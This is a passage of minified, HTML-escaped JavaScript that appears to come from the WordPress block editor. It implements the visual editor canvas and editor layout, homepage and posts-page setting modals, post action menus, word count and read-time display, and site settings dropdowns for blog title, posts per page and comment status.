0,wrapperBlockName:p,wrapperUniqueId:t(),deviceType:r(),isFocusedEntity:!!m.onNavigateToPreviousEntityRecord,postType:c,isPreview:m.isPreviewMode}}),[]),{isCleanNewPost:P}=(0,c.useSelect)(Ac),{hasRootPaddingAwareAlignments:j,themeHasDisabledLayoutStyles:E,themeSupportsLayout:D,isZoomedOut:A}=(0,c.useSelect)((e=&gt;{const{getSettings:t,isZoomOut:s}=$(e(h.store)),o=t();return{themeHasDisabledLayoutStyles:o.disableLayoutStyles,themeSupportsLayout:o.supportsLayout,hasRootPaddingAwareAlignments:o.__experimentalFeatures?.useRootPaddingAwareAlignments,isZoomedOut:s()}}),[]),R=(0,h.__experimentalUseResizeCanvas)(v),[M]=(0,h.useSettings)(&quot;layout&quot;),O=(0,u.useMemo)((()=&gt;&quot;post-only&quot;!==g||w?{type:&quot;default&quot;}:D?{...M,type:&quot;constrained&quot;}:{type:&quot;default&quot;}),[g,D,M,w]),F=(0,u.useMemo)((()=&gt;{if(!f?.content&amp;&amp;!f?.blocks&amp;&amp;_)return _;if(f?.blocks)return ff(f?.blocks);const e=&quot;string&quot;==typeof f?.content?f?.content:&quot;&quot;;return ff((0,y.parse)(e))||{}}),[f?.content,f?.blocks,_]),V=(0,u.useMemo)((()=&gt;{if(!f?.content&amp;&amp;!f?.blocks)return!1;if(f?.blocks)return bf(f?.blocks);const e=&quot;string&quot;==typeof f?.content?f?.content:&quot;&quot;;return bf((0,y.parse)(e))||!1}),[f?.content,f?.blocks]),{layout:z={},align:U=&quot;&quot;}=F||{},H=pf(F,&quot;core/post-content&quot;),G=Di({&quot;is-layout-flow&quot;:!D},D&amp;&amp;H,U&amp;&amp;`align${U}`),W=mf(F,&quot;core/post-content&quot;,&quot;.block-editor-block-list__layout.is-root-container&quot;),Z=(0,u.useMemo)((()=&gt;z&amp;&amp;(&quot;constrained&quot;===z?.type||z?.inherit||z?.contentSize||z?.wideSize)?{...M,...z,type:&quot;constrained&quot;}:{...M,...z,type:&quot;default&quot;}),[z?.type,z?.inherit,z?.contentSize,z?.wideSize,M]),Y=_?Z:O,K=&quot;default&quot;!==Y?.type||V?Y:O,q=(0,h.__unstableUseTypingObserver)(),Q=(0,u.useRef)();(0,u.useEffect)((()=&gt;{e&amp;&amp;P()&amp;&amp;Q?.current?.focus()}),[e,P]);const X=k===N,J=[N,B,I].includes(k)&amp;&amp;!C&amp;&amp;!m&amp;&amp;!A,ee=(0,u.useMemo)((()=&gt;[...null!=t?t:[],{css:`:where(.block-editor-iframe__body){display:flow-root;}.is-root-container{display:flow-root;${J?&quot;min-height:0!important;&quot;:&quot;&quot;}}`}]),[t,J]),te=(0,u.useRef)(),se=(0,h.__unstableUseTypewriter)();return n=(0,p.useMergeRefs)([te,n,&quot;post-only&quot;===g?se:null,gf({isEnabled:&quot;template-locked&quot;===g}),cf({isEnabled:&quot;template-locked&quot;===g}),df(),J?l:null]),(0,L.jsx)(&quot;div&quot;,{className:Di(&quot;editor-visual-editor&quot;,&quot;edit-post-visual-editor&quot;,i,{&quot;has-padding&quot;:S||J,&quot;is-resizable&quot;:J,&quot;is-iframed&quot;:!s}),children:(0,L.jsx)(rf,{enableResizing:J,height:r&amp;&amp;!X?r:&quot;100%&quot;,children:(0,L.jsxs)(hf,{shouldIframe:!s,contentRef:n,styles:ee,height:&quot;100%&quot;,iframeProps:{...o,style:{...o?.style,...R}},children:[D&amp;&amp;!E&amp;&amp;&quot;post-only&quot;===g&amp;&amp;!w&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(uf,{selector:&quot;.editor-visual-editor__post-title-wrapper&quot;,layout:O}),(0,L.jsx)(uf,{selector:&quot;.block-editor-block-list__layout.is-root-container&quot;,layout:K}),U&amp;&amp;(0,L.jsx)(uf,{css:&quot;.is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignwide:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}\n\t\t.is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignfull:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: none;}&quot;}),W&amp;&amp;(0,L.jsx)(uf,{layout:Z,css:W})]}),&quot;post-only&quot;===g&amp;&amp;!w&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:Di(&quot;editor-visual-editor__post-title-wrapper&quot;,&quot;edit-post-visual-editor__post-title-wrapper&quot;,{&quot;has-global-padding&quot;:j}),contentEditable:!1,ref:q,style:{marginTop:&quot;4rem&quot;},children:(0,L.jsx)(kh,{ref:Q})}),(0,L.jsxs)(h.RecursionProvider,{blockName:b,uniqueId:x,children:[(0,L.jsx)(h.BlockList,{className:Di(&quot;is-&quot;+v.toLowerCase()+&quot;-preview&quot;,&quot;post-only&quot;!==g||w?&quot;wp-site-blocks&quot;:`${G} wp-block-post-content`,{&quot;has-global-padding&quot;:&quot;post-only&quot;===g&amp;&amp;!w&amp;&amp;j}),layout:Y,dropZoneElement:s?te.current:te.current?.parentNode,__unstableDisableDropZone:&quot;template-locked&quot;===g}),&quot;template-locked&quot;===g&amp;&amp;(0,L.jsx)(sf,{contentRef:te})]})]})})})},xf={header:(0,fs.__)(&quot;Editor top bar&quot;),body:(0,fs.__)(&quot;Editor content&quot;),sidebar:(0,fs.__)(&quot;Editor settings&quot;),actions:(0,fs.__)(&quot;Editor publish&quot;),footer:(0,fs.__)(&quot;Editor footer&quot;)};function vf({className:e,styles:t,children:s,forceIsDirty:o,contentRef:n,disableIframe:i,autoFocus:r,customSaveButton:a,customSavePanel:l,forceDisableBlockTools:d,title:m,iframeProps:g}){const{mode:_,isRichEditingEnabled:f,isInserterOpened:b,isListViewOpened:y,isDistractionFree:x,isPreviewMode:v,showBlockBreadcrumbs:S,documentLabel:w}=(0,c.useSelect)((e=&gt;{const{get:t}=e(k.store),{getEditorSettings:s,getPostTypeLabel:o}=e(Ac),n=s(),i=o();return{mode:e(Ac).getEditorMode(),isRichEditingEnabled:n.richEditingEnabled,isInserterOpened:e(Ac).isInserterOpened(),isListViewOpened:e(Ac).isListViewOpened(),isDistractionFree:t(&quot;core&quot;,&quot;distractionFree&quot;),isPreviewMode:n.isPreviewMode,showBlockBreadcrumbs:t(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),documentLabel:i||(0,fs._x)(&quot;Document&quot;,&quot;noun, breadcrumb&quot;)}}),[]),C=(0,p.useViewportMatch)(&quot;medium&quot;),P=y?(0,fs.__)(&quot;Document Overview&quot;):(0,fs.__)(&quot;Block Library&quot;),[j,E]=(0,u.useState)(!1),T=(0,u.useCallback)((e=&gt;{&quot;function&quot;==typeof j&amp;&amp;j(e),E(!1)}),[j]);return(0,L.jsx)(al,{isDistractionFree:x,className:Di(&quot;editor-editor-interface&quot;,e,{&quot;is-entity-save-view-open&quot;:!!j,&quot;is-distraction-free&quot;:x&amp;&amp;!v}),labels:{...xf,secondarySidebar:P},header:!v&amp;&amp;(0,L.jsx)(W_,{forceIsDirty:o,setEntitiesSavedStatesCallback:E,customSaveButton:a,forceDisableBlockTools:d,title:m}),editorNotices:(0,L.jsx)(_d,{}),secondarySidebar:!v&amp;&amp;&quot;visual&quot;===_&amp;&amp;(b&amp;&amp;(0,L.jsx)(Y_,{})||y&amp;&amp;(0,L.jsx)(Q_,{})),sidebar:!v&amp;&amp;!x&amp;&amp;(0,L.jsx)(tl.Slot,{scope:&quot;core&quot;}),content:(0,L.jsxs)(L.Fragment,{children:[!x&amp;&amp;!v&amp;&amp;(0,L.jsx)(_d,{}),(0,L.jsx)(qg.Slot,{children:([e])=&gt;e||(0,L.jsxs)(L.Fragment,{children:[!v&amp;&amp;(&quot;text&quot;===_||!f)&amp;&amp;(0,L.jsx)(tf,{autoFocus:r}),!v&amp;&amp;!C&amp;&amp;&quot;visual&quot;===_&amp;&amp;(0,L.jsx)(h.BlockToolbar,{hideDragHandle:!0}),(v||f&amp;&amp;&quot;visual&quot;===_)&amp;&amp;(0,L.jsx)(yf,{styles:t,contentRef:n,disableIframe:i,autoFocus:r,iframeProps:g}),s]})})]}),footer:!v&amp;&amp;!x&amp;&amp;C&amp;&amp;S&amp;&amp;f&amp;&amp;&quot;visual&quot;===_&amp;&amp;(0,L.jsx)(h.BlockBreadcrumb,{rootLabelText:w}),actions:v?void 0:l||(0,L.jsx)(ef,{closeEntitiesSavedStates:T,isEntitiesSavedStatesOpen:j,setEntitiesSavedStatesCallback:E,forceIsDirtyPublishPanel:o})})}const{OverridesPanel:Sf}=$(ln.privateApis);function wf(){return(0,c.useSelect)((e=&gt;&quot;wp_block&quot;===e(Ac).getCurrentPostType()),[])?(0,L.jsx)(Sf,{}):null}function kf(e){return&quot;string&quot;==typeof e.title?(0,Lo.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?(0,Lo.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title?(0,Lo.decodeEntities)(e.title.raw):&quot;&quot;}const Cf=({items:e,closeModal:t})=&gt;{const[s]=e,o=kf(s),{showOnFront:n,currentHomePage:i,isSaving:r}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,isSavingEntityRecord:s}=e(d.store),o=t(&quot;root&quot;,&quot;site&quot;),n=t(&quot;postType&quot;,&quot;page&quot;,o?.page_on_front);return{showOnFront:o?.show_on_front,currentHomePage:n,isSaving:s(&quot;root&quot;,&quot;site&quot;)}})),{saveEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:u}=(0,c.useDispatch)(_s.store);let p=&quot;&quot;;&quot;posts&quot;===n?p=(0,fs.__)(&quot;This will replace the current homepage which is set to display latest posts.&quot;):i&amp;&amp;(p=(0,fs.sprintf)((0,fs.__)(&#039;This will replace the current homepage: &quot;%s&quot;&#039;),kf(i)));const m=(0,fs.sprintf)((0,fs.__)(&#039;Set &quot;%1$s&quot; as the site homepage? %2$s&#039;),o,p).trim(),h=(0,fs.__)(&quot;Set homepage&quot;);return(0,L.jsx)(&quot;form&quot;,{onSubmit:async function(e){e.preventDefault();try{await a(&quot;root&quot;,&quot;site&quot;,{page_on_front:s.id,show_on_front:&quot;page&quot;}),l((0,fs.__)(&quot;Homepage updated.&quot;),{type:&quot;snackbar&quot;})}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while setting the homepage.&quot;);u(t,{type:&quot;snackbar&quot;})}finally{t?.()}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:m}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:r,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:r,accessibleWhenDisabled:!0,children:h})]})]})})},Pf=({items:e,closeModal:t})=&gt;{const[s]=e,o=kf(s),{currentPostsPage:n,isPageForPostsSet:i,isSaving:r}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,isSavingEntityRecord:s}=e(d.store),o=t(&quot;root&quot;,&quot;site&quot;);return{currentPostsPage:t(&quot;postType&quot;,&quot;page&quot;,o?.page_for_posts),isPageForPostsSet:0!==o?.page_for_posts,isSaving:s(&quot;root&quot;,&quot;site&quot;)}})),{saveEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:u}=(0,c.useDispatch)(_s.store);const p=i&amp;&amp;n?(0,fs.sprintf)((0,fs.__)(&#039;This will replace the current posts page: &quot;%s&quot;&#039;),kf(n)):(0,fs.__)(&quot;This page will show the latest posts.&quot;),m=(0,fs.sprintf)((0,fs.__)(&#039;Set &quot;%1$s&quot; as the posts page? %2$s&#039;),o,p),h=(0,fs.__)(&quot;Set posts page&quot;);return(0,L.jsx)(&quot;form&quot;,{onSubmit:async function(e){e.preventDefault();try{await a(&quot;root&quot;,&quot;site&quot;,{page_for_posts:s.id,show_on_front:&quot;page&quot;}),l((0,fs.__)(&quot;Posts page updated.&quot;),{type:&quot;snackbar&quot;})}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while setting the posts page.&quot;);u(t,{type:&quot;snackbar&quot;})}finally{t?.()}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:m}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},disabled:r,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:r,accessibleWhenDisabled:!0,children:h})]})]})})};function jf({postType:e,onActionPerformed:t,context:s}){const{defaultActions:o}=(0,c.useSelect)((t=&gt;{const{getEntityActions:s}=$(t(Ac));return{defaultActions:s(&quot;postType&quot;,e)}}),[e]),{canManageOptions:n,hasFrontPageTemplate:i}=(0,c.useSelect)((e=&gt;{const{getEntityRecords:t}=e(d.store),s=t(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1});return{canManageOptions:e(d.store).canUser(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;}),hasFrontPageTemplate:!!s?.find((e=&gt;&quot;front-page&quot;===e?.slug))}})),r=(()=&gt;{const{pageOnFront:e,pageForPosts:t}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,canUser:s}=e(d.store),o=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:o?.page_on_front,pageForPosts:o?.page_for_posts}}));return(0,u.useMemo)((()=&gt;({id:&quot;set-as-homepage&quot;,label:(0,fs.__)(&quot;Set as homepage&quot;),isEligible:s=&gt;&quot;publish&quot;===s.status&amp;&amp;&quot;page&quot;===s.type&amp;&amp;e!==s.id&amp;&amp;t!==s.id,RenderModal:Cf})),[t,e])})(),a=(()=&gt;{const{pageOnFront:e,pageForPosts:t}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,canUser:s}=e(d.store),o=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0;return{pageOnFront:o?.page_on_front,pageForPosts:o?.page_for_posts}}));return(0,u.useMemo)((()=&gt;({id:&quot;set-as-posts-page&quot;,label:(0,fs.__)(&quot;Set as posts page&quot;),isEligible:s=&gt;&quot;publish&quot;===s.status&amp;&amp;&quot;page&quot;===s.type&amp;&amp;e!==s.id&amp;&amp;t!==s.id,RenderModal:Pf})),[t,e])})(),l=n&amp;&amp;!i,{registerPostTypeSchema:p}=$((0,c.useDispatch)(Ac));return(0,u.useEffect)((()=&gt;{p(e)}),[p,e]),(0,u.useMemo)((()=&gt;{let e=[...o];if(l&amp;&amp;e.push(r,a),e=e.sort(((e,t)=&gt;&quot;move-to-trash&quot;===t.id?-1:0)),e=e.filter((e=&gt;!e.context||e.context===s)),t)for(let s=0;s&lt;e.length;++s){if(e[s].callback){const o=e[s].callback;e[s]={...e[s],callback:(n,i)=&gt;{o(n,{...i,onActionPerformed:o=&gt;{i?.onActionPerformed&amp;&amp;i.onActionPerformed(o),t(e[s].id,o)}})}}}if(e[s].RenderModal){const o=e[s].RenderModal;e[s]={...e[s],RenderModal:n=&gt;(0,L.jsx)(o,{...n,onActionPerformed:o=&gt;{n.onActionPerformed&amp;&amp;n.onActionPerformed(o),t(e[s].id,o)}})}}}return e}),[s,o,t,r,a,l])}const{Menu:Ef,kebabCase:Tf}=$(Uo.privateApis);function Bf({postType:e,postId:t,onActionPerformed:s}){const[o,n]=(0,u.useState)(null),{item:i,permissions:r}=(0,c.useSelect)((s=&gt;{const{getEditedEntityRecord:o,getEntityRecordPermissions:n}=$(s(d.store));return{item:o(&quot;postType&quot;,e,t),permissions:n(&quot;postType&quot;,e,t)}}),[t,e]),a=(0,u.useMemo)((()=&gt;({...i,permissions:r})),[i,r]),l=jf({postType:e,onActionPerformed:s}),p=(0,u.useMemo)((()=&gt;l.filter((e=&gt;!e.isEligible||e.isEligible(a)))),[l,a]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Ef,{placement:&quot;bottom-end&quot;,children:[(0,L.jsx)(Ef.TriggerButton,{render:(0,L.jsx)(Uo.Button,{size:&quot;small&quot;,icon:n_,label:(0,fs.__)(&quot;Actions&quot;),disabled:!p.length,accessibleWhenDisabled:!0,className:&quot;editor-all-actions-button&quot;})}),(0,L.jsx)(Ef.Popover,{children:(0,L.jsx)(Df,{actions:p,items:[a],setActiveModalAction:n})})]}),!!o&amp;&amp;(0,L.jsx)(Nf,{action:o,items:[a],closeModal:()=&gt;n(null)})]})}function If({action:e,onClick:t,items:s}){const o=&quot;string&quot;==typeof e.label?e.label:e.label(s);return(0,L.jsx)(Ef.Item,{onClick:t,children:(0,L.jsx)(Ef.ItemLabel,{children:o})})}function Nf({action:e,items:t,closeModal:s}){const o=&quot;string&quot;==typeof e.label?e.label:e.label(t);return(0,L.jsx)(Uo.Modal,{title:e.modalHeader||o,__experimentalHideHeader:!!e.hideModalHeader,onRequestClose:null!=s?s:()=&gt;{},focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,overlayClassName:`editor-action-modal editor-action-modal__${Tf(e.id)}`,children:(0,L.jsx)(e.RenderModal,{items:t,closeModal:s})})}function Df({actions:e,items:t,setActiveModalAction:s}){const o=(0,c.useRegistry)();return(0,L.jsx)(Ef.Group,{children:e.map((e=&gt;(0,L.jsx)(If,{action:e,onClick:()=&gt;{&quot;RenderModal&quot;in e?s(e):e.callback(t,{registry:o})},items:t},e.id)))})}const{Badge:Af}=$(Uo.privateApis);function Rf({postType:e,postId:t,onActionPerformed:s}){const o=(0,u.useMemo)((()=&gt;Array.isArray(t)?t:[t]),[t]),{postTitle:n,icon:i,labels:r}=(0,c.useSelect)((t=&gt;{const{getEditedEntityRecord:s,getCurrentTheme:n,getPostType:i}=t(d.store),{getPostIcon:r}=$(t(Ac));let a=&quot;&quot;;const l=s(&quot;postType&quot;,e,o[0]);if(1===o.length){var c;const{default_template_types:t=[]}=null!==(c=n())&amp;&amp;void 0!==c?c:{},s=[T,B].includes(e)?Y({template:l,templateTypes:t}):{};a=s?.title||l?.title}return{postTitle:a,icon:r(e,{area:l?.area}),labels:i(e)?.labels}}),[o,e]),a=qc(t);let l=(0,fs.__)(&quot;No title&quot;);return r?.name&amp;&amp;o.length&gt;1?l=(0,fs.sprintf)((0,fs.__)(&quot;%i %s&quot;),t.length,r?.name):n&amp;&amp;(l=(0,Kc.__unstableStripHTML)(n)),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,className:&quot;editor-post-card-panel&quot;,children:[(0,L.jsxs)(Uo.__experimentalHStack,{spacing:2,className:&quot;editor-post-card-panel__header&quot;,align:&quot;flex-start&quot;,children:[(0,L.jsx)(Uo.Icon,{className:&quot;editor-post-card-panel__icon&quot;,icon:i}),(0,L.jsxs)(Uo.__experimentalText,{numberOfLines:2,truncate:!0,className:&quot;editor-post-card-panel__title&quot;,as:&quot;h2&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-card-panel__title-name&quot;,children:l}),a&amp;&amp;1===o.length&amp;&amp;(0,L.jsx)(Af,{children:a})]}),1===o.length&amp;&amp;(0,L.jsx)(Bf,{postType:e,postId:o[0],onActionPerformed:s})]}),o.length&gt;1&amp;&amp;(0,L.jsx)(Uo.__experimentalText,{className:&quot;editor-post-card-panel__description&quot;,children:(0,fs.sprintf)((0,fs.__)(&quot;Changes will be applied to all selected %s.&quot;),r?.name.toLowerCase())})]})}function Mf(){const{postContent:e}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s,getCurrentPostId:o}=e(Ac),{canUser:n}=e(d.store),{getEntityRecord:i}=e(d.store),r=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?i(&quot;root&quot;,&quot;site&quot;):void 0,a=s();return{postContent:!(+o()===r?.page_for_posts)&amp;&amp;![T,B].includes(a)&amp;&amp;t(&quot;content&quot;)}}),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),s=(0,u.useMemo)((()=&gt;e?(0,Lh.count)(e,t):0),[e,t]);if(!s)return null;const o=Math.round(s/189),n=(0,fs.sprintf)((0,fs._n)(&quot;%s word&quot;,&quot;%s words&quot;,s),s.toLocaleString()),i=o&lt;=1?(0,fs.__)(&quot;1 minute&quot;):(0,fs.sprintf)((0,fs._n)(&quot;%s minute&quot;,&quot;%s minutes&quot;,o),o.toLocaleString());return(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-content-information&quot;,children:(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.sprintf)((0,fs.__)(&quot;%1$s, %2$s read time.&quot;),n,i)})})}const Lf=function(){const{postFormat:e}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac),s=t(&quot;format&quot;);return{postFormat:null!=s?s:&quot;standard&quot;}}),[]),t=Bp.find((t=&gt;t.id===e)),[s,o]=(0,u.useState)(null),n=(0,u.useMemo)((()=&gt;({anchor:s,placement:&quot;left-start&quot;,offset:36,shift:!0})),[s]);return(0,L.jsx)(Tp,{children:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Format&quot;),ref:o,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:n,contentClassName:&quot;editor-post-format__dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change format: %s&quot;),t?.caption),onClick:s,children:t?.caption}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format__dialog-content&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Format&quot;),onClose:e}),(0,L.jsx)(Ip,{})]})})})})};function Of(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostAttribute(&quot;modified&quot;)),[]),t=e&amp;&amp;(0,fs.sprintf)((0,fs.__)(&quot;Last edited %s.&quot;),(0,x.humanTimeDiff)(e));return t?(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-last-edited-panel&quot;,children:(0,L.jsx)(Uo.__experimentalText,{children:t})}):null}const Ff=function({className:e,children:t}){return(0,L.jsx)(Uo.__experimentalVStack,{className:Di(&quot;editor-post-panel__section&quot;,e),children:t})},Vf={};function zf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{postsPageTitle:t,postsPageId:s,isTemplate:o,postSlug:n}=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t,getEditedEntityRecord:s,canUser:o}=e(d.store),n=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?t(&quot;root&quot;,&quot;site&quot;):void 0,i=n?.page_for_posts?s(&quot;postType&quot;,&quot;page&quot;,n?.page_for_posts):Vf,{getEditedPostAttribute:r,getCurrentPostType:a}=e(Ac);return{postsPageId:i?.id,postsPageTitle:i?.title,isTemplate:a()===T,postSlug:r(&quot;slug&quot;)}}),[]),[i,r]=(0,u.useState)(null),a=(0,u.useMemo)((()=&gt;({anchor:i,placement:&quot;left-start&quot;,offset:36,shift:!0})),[i]);if(!o||![&quot;home&quot;,&quot;index&quot;].includes(n)||!s)return null;const l=t=&gt;{e(&quot;postType&quot;,&quot;page&quot;,s,{title:t})},m=(0,Lo.decodeEntities)(t);return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Blog title&quot;),ref:r,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:a,contentClassName:&quot;editor-blog-title-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change blog title: %s&quot;),m),onClick:t,children:m}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Blog title&quot;),onClose:e}),(0,L.jsx)(Uo.__experimentalInputControl,{placeholder:(0,fs.__)(&quot;No title&quot;),size:&quot;__unstable-large&quot;,value:t,onChange:(0,p.debounce)(l,300),label:(0,fs.__)(&quot;Blog title&quot;),help:(0,fs.__)(&quot;Set the Posts Page title. Appears in search results, and when the page is shared on social media.&quot;),hideLabelFromVision:!0})]})})})}function Uf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{postsPerPage:t,isTemplate:s,postSlug:o}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(Ac),{getEditedEntityRecord:o,canUser:n}=e(d.store),i=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:s()===T,postSlug:t(&quot;slug&quot;),postsPerPage:i?.posts_per_page||1}}),[]),[n,i]=(0,u.useState)(null),r=(0,u.useMemo)((()=&gt;({anchor:n,placement:&quot;left-start&quot;,offset:36,shift:!0})),[n]);if(!s||![&quot;home&quot;,&quot;index&quot;].includes(o))return null;const a=t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{posts_per_page:t})};return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Posts per page&quot;),ref:i,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:r,contentClassName:&quot;editor-posts-per-page-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change posts per page&quot;),onClick:s,children:t}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Posts per page&quot;),onClose:e}),(0,L.jsx)(Uo.__experimentalNumberControl,{placeholder:0,value:t,size:&quot;__unstable-large&quot;,spinControls:&quot;custom&quot;,step:&quot;1&quot;,min:&quot;1&quot;,onChange:a,label:(0,fs.__)(&quot;Posts per page&quot;),help:(0,fs.__)(&quot;Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting.&quot;),hideLabelFromVision:!0})]})})})}const Hf=[{label:(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,fs.__)(&quot;Closed&quot;),value:&quot;&quot;,description:[(0,fs.__)(&quot;Visitors cannot add new comments or replies.&quot;),(0,fs.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];function Gf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{allowCommentsOnNewPosts:t,isTemplate:s,postSlug:o}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(Ac),{getEditedEntityRecord:o,canUser:n}=e(d.store),i=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:s()===T,postSlug:t(&quot;slug&quot;),allowCommentsOnNewPosts:i?.default_comment_status||&quot;&quot;}}),[]),[n,i]=(0,u.useState)(null),r=(0,u.useMemo)((()=&gt;({anchor:n,placement:&quot;left-start&quot;,offset:36,shift:!0})),[n]);if(!s||![&quot;home&quot;,&quot;index&quot;].includes(o))return null;const a=t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{default_comment_status:t?&quot;open&quot;:null})};return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Discussion&quot;),ref:i,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:r,contentClassName:&quot;editor-site-discussion-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=&gt;(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change discussion settings&quot;),onClick:s,children:t?(0,fs.__)(&quot;Comments open&quot;):(0,fs.__)(&quot;Comments closed&quot;)}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Discussion&quot;),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:3,children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Changes will apply to new posts only. Individual posts may override these 